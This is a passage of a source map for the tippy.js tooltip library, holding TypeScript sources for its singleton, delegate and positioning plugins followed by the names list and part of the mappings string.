mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n }\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import tippy from '../src';\nimport {render} from '../src/template';\n\ntippy.setDefaultProps({render});\n\nexport {default, hideAll} from '../src';\nexport {default as createSingleton} from '../src/addons/createSingleton';\nexport {default as delegate} from '../src/addons/delegate';\nexport {default as animateFill} from '../src/plugins/animateFill';\nexport {default as followCursor} from '../src/plugins/followCursor';\nexport {default as inlinePositioning} from '../src/plugins/inlinePositioning';\nexport {default as sticky} from '../src/plugins/sticky';\nexport {ROUND_ARROW as roundArrow} from '../src/constants';\n"],"names":["ROUND_ARROW","BOX_CLASS","CONTENT_CLASS","BACKDROP_CLASS","ARROW_CLASS","SVG_ARROW_CLASS","TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","document","body","hasOwnProperty","obj","key","call","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","timeout","arg","clearTimeout","setTimeout","removeProperties","keys","clone","forEach","splitBySpaces","split","filter","Boolean","normalizeToArray","concat","pushIfUnique","arr","push","unique","item","getBasePlacement","placement","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","createElement","isElement","some","isNodeList","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","querySelectorAll","setTransitionDuration","els","el","style","transitionDuration","setVisibilityState","state","setAttribute","getOwnerDocument","elementOrElements","element","ownerDocument","isCursorOutsideInteractiveBorder","popperTreeData","event","clientX","clientY","every","popperRect","popperState","props","interactiveBorder","basePlacement","offsetData","modifiersData","offset","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","updateTransitionEndListener","box","action","listener","method","actualContains","parent","child","target","contains","getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","window","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","bindGlobalEventListeners","isBrowser","isIE11","msCrypto","createMemoryLeakWarning","txt","join","clean","spacesAndTabs","lineStartWithSpaces","replace","trim","getDevMessage","message","getFormattedMessage","visitedMessages","resetVisitedMessages","Set","warnWhen","condition","has","add","console","warn","errorWhen","error","validateTargets","targets","didPassFalsyValue","didPassPlainObject","prototype","String","pluginProps","animateFill","followCursor","inlinePositioning","sticky","renderProps","allowHTML","animation","arrow","content","inertia","maxWidth","role","theme","zIndex","defaultProps","appendTo","aria","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveDebounce","moveTransition","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","defaultKeys","setDefaultProps","partialProps","validateProps","getExtendedPassedProps","passedProps","plugin","name","getDataAttributeProps","propKeys","valueAsString","getAttribute","JSON","parse","e","evaluateProps","out","prop","nonPluginProps","didPassUnknownProp","length","innerHTML","dangerouslySetInnerHTML","html","createArrowElement","className","appendChild","setContent","textContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","currentTarget","id","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","setProps","show","hide","hideWithInteractivity","enable","disable","unmount","destroy","pluginsHooks","map","hasAriaExpanded","hasAttribute","addListeners","handleAriaExpandedAttribute","handleStyles","invokeHook","scheduleShow","getDocument","getNormalizedTouchSettings","getIsCustomTouchBehavior","getIsDefaultRenderFn","getCurrentTarget","parentNode","getDefaultTemplateChildren","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","handleAriaContentAttribute","attr","nodes","currentValue","nextValue","cleanupInteractiveMouseListeners","onDocumentPress","actualTarget","composedPath","removeDocumentPress","onTouchMove","onTouchStart","addDocumentPress","doc","onTransitionedOut","callback","onTransitionEnd","onTransitionedIn","on","eventType","handler","options","onMouseLeave","onBlurOrFocusOut","removeListeners","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenceOrPopper","getNestedPopperTree","getBoundingClientRect","shouldBail","relatedTarget","createPopperInstance","destroyPopperInstance","computedReference","contextElement","tippyModifier","enabled","phase","requires","attributes","modifiers","padding","adaptive","createPopper","mount","nextElementSibling","touchValue","touchDelay","requestAnimationFrame","cancelAnimationFrame","nestedPopper","forceUpdate","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","visibility","transition","offsetHeight","isAlreadyHidden","i","tippy","optionalProps","elements","isSingleContentElement","isMoreThanOneReferenceElement","instances","hideAll","excludedReferenceOrInstance","exclude","isExcluded","originalDuration","applyStylesModifier","applyStyles","effect","initialStyles","position","strategy","margin","assign","styles","createSingleton","tippyInstances","individualInstances","references","triggerTargets","overrides","interceptSetPropsCleanups","shownOnCreate","setTriggerTargets","setReferences","enableInstances","interceptSetProps","singleton","originalSetProps","prepareInstance","overrideProps","originalShow","ref","showNext","first","showPrevious","last","setInstances","nextInstances","BUBBLING_EVENTS_MAP","mouseover","focusin","click","delegate","childTippyInstances","disabled","nativeProps","parentProps","childProps","returnValue","normalizedReturnValue","targetNode","closest","addEventListeners","removeEventListeners","applyMutations","originalDestroy","originalEnable","originalDisable","shouldDestroyChildInstances","createBackdropElement","insertBefore","overflow","Number","transitionDelay","Math","round","mouseCoords","activeInstances","storeMouseCoords","addMouseCoordsListener","removeMouseCoordsListener","isInternalUpdate","wasFocusEvent","isUnmounted","getIsInitialBehavior","addListener","removeListener","unsetGetReferenceClientRect","isCursorOverReference","rect","relativeX","relativeY","width","height","create","data","_","getProps","modifier","cursorRectIndex","triedPlacements","getInlineBoundingClientRect","getClientRects","setInternalProps","addModifier","rects","cursorRect","currentBasePlacement","boundingRect","clientRects","firstRect","lastRect","isTop","minLeft","min","maxRight","max","measureRects","getReference","shouldCheck","prevRefRect","prevPopRect","updatePosition","currentRefRect","currentPopRect","areRectsDifferent","update","rectA","rectB"],"mappings":";;;;;;;;;;;IAAaA,WAAW,GACtB;AAEK,IAAMC,SAAS,cAAf;AACA,IAAMC,aAAa,kBAAnB;AACA,IAAMC,cAAc,mBAApB;AACA,IAAMC,WAAW,gBAAjB;AACA,IAAMC,eAAe,oBAArB;AAEA,IAAMC,aAAa,GAAG;AAACC,EAAAA,OAAO,EAAE,IAAV;AAAgBC,EAAAA,OAAO,EAAE;AAAzB,CAAtB;AAEA,IAAMC,uBAAuB,GAAG,SAA1BA,uBAA0B;AAAA,SAAMC,QAAQ,CAACC,IAAf;AAAA,CAAhC;;ACTA,SAASC,cAAT,CACLC,GADK,EAELC,GAFK,EAGI;AACT,SAAO,GAAGF,cAAH,CAAkBG,IAAlB,CAAuBF,GAAvB,EAA4BC,GAA5B,CAAP;AACD;AAED,AAAO,SAASE,uBAAT,CACLC,KADK,EAELC,KAFK,EAGLC,YAHK,EAIF;AACH,MAAIC,KAAK,CAACC,OAAN,CAAcJ,KAAd,CAAJ,EAA0B;AACxB,QAAMK,CAAC,GAAGL,KAAK,CAACC,KAAD,CAAf;AACA,WAAOI,CAAC,IAAI,IAAL,GACHF,KAAK,CAACC,OAAN,CAAcF,YAAd,IACEA,YAAY,CAACD,KAAD,CADd,GAEEC,YAHC,GAIHG,CAJJ;AAKD;;AAED,SAAOL,KAAP;AACD;AAED,AAAO,SAASM,MAAT,CAAgBN,KAAhB,EAA4BO,IAA5B,EAAmD;AACxD,MAAMC,GAAG,GAAG,GAAGC,QAAH,CAAYX,IAAZ,CAAiBE,KAAjB,CAAZ;AACA,SAAOQ,GAAG,CAACE,OAAJ,CAAY,SAAZ,MAA2B,CAA3B,IAAgCF,GAAG,CAACE,OAAJ,CAAeH,IAAf,UAA0B,CAAC,CAAlE;AACD;AAED,AAAO,SAASI,sBAAT,CAAgCX,KAAhC,EAA4CY,IAA5C,EAA8D;AACnE,SAAO,OAAOZ,KAAP,KAAiB,UAAjB,GAA8BA,KAAK,MAAL,SAASY,IAAT,CAA9B,GAA+CZ,KAAtD;AACD;AAED,AAAO,SAASa,QAAT,CACLC,EADK,EAELC,EAFK,EAGa;AAClB;AACA,MAAIA,EAAE,KAAK,CAAX,EAAc;AACZ,WAAOD,EAAP;AACD;;AAED,MAAIE,OAAJ;AAEA,SAAO,UAACC,GAAD,EAAe;AACpBC,IAAAA,YAAY,CAACF,OAAD,CAAZ;AACAA,IAAAA,OAAO,GAAGG,UAAU,CAAC,YAAM;AACzBL,MAAAA,EAAE,CAACG,GAAD,CAAF;AACD,KAFmB,EAEjBF,EAFiB,CAApB;AAGD,GALD;AAMD;AAED,AAAO,SAASK,gBAAT,CAA6BxB,GAA7B,EAAqCyB,IAArC,EAAiE;AACtE,MAAMC,KAAK,qBAAO1B,GAAP,CAAX;AACAyB,EAAAA,IAAI,CAACE,OAAL,CAAa,UAAC1B,GAAD,EAAS;AACpB,WAAQyB,KAAD,CAAezB,GAAf,CAAP;AACD,GAFD;AAGA,SAAOyB,KAAP;AACD;AAED,AAAO,S